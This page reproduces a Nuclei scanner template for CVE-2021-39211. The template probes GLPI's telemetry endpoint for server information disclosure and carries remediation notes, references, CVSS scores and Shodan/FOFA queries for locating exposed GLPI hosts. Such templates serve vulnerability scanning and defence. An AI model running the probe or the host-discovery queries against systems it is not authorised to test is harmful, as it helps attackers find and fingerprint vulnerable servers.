CVE-2021-39211: GLPI 9.2/<9.5.6 - Information Disclosure

2025-08-01 GLPI PoC Public

Description

GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2021-39211

info:
  name: GLPI 9.2/<9.5.6 - Information Disclosure
  author: dogasantos,noraj
  severity: medium
  description: GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Information disclosure vulnerability in GLPI versions 9.2 to <9.5.6 allows an attacker to access sensitive information.
  remediation: This issue is fixed in version 9.5.6. As a workaround, remove the file ajax/telemetry.php, which is not needed for usual GLPI functions.
  reference:
    - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825
    - https://github.com/glpi-project/glpi/releases/tag/9.5.6
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39211
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-39211
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.04699
    epss-percentile: 0.91337
    cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: glpi-project
    product: glpi
    shodan-query:
      - http.title:"glpi"
      - http.favicon.hash:"-1474875778"
    fofa-query:
      - icon_hash="-1474875778"
      - title="glpi"
    google-query: intitle:"glpi"
  tags: cve,cve2021,glpi,exposure,glpi-project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/telemetry.php"
      - "{{BaseURL}}/glpi/ajax/telemetry.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"uuid":'
          - '"glpi":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202a0ace892cf62fd8edad3e290cb649712c168713fe10e2d3fd2b5ea467ffdfd402210093e276569720d8edd34b6b8c2d02f006e1d84479a360f90fb6e5f5331969a079:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39211.yaml

References

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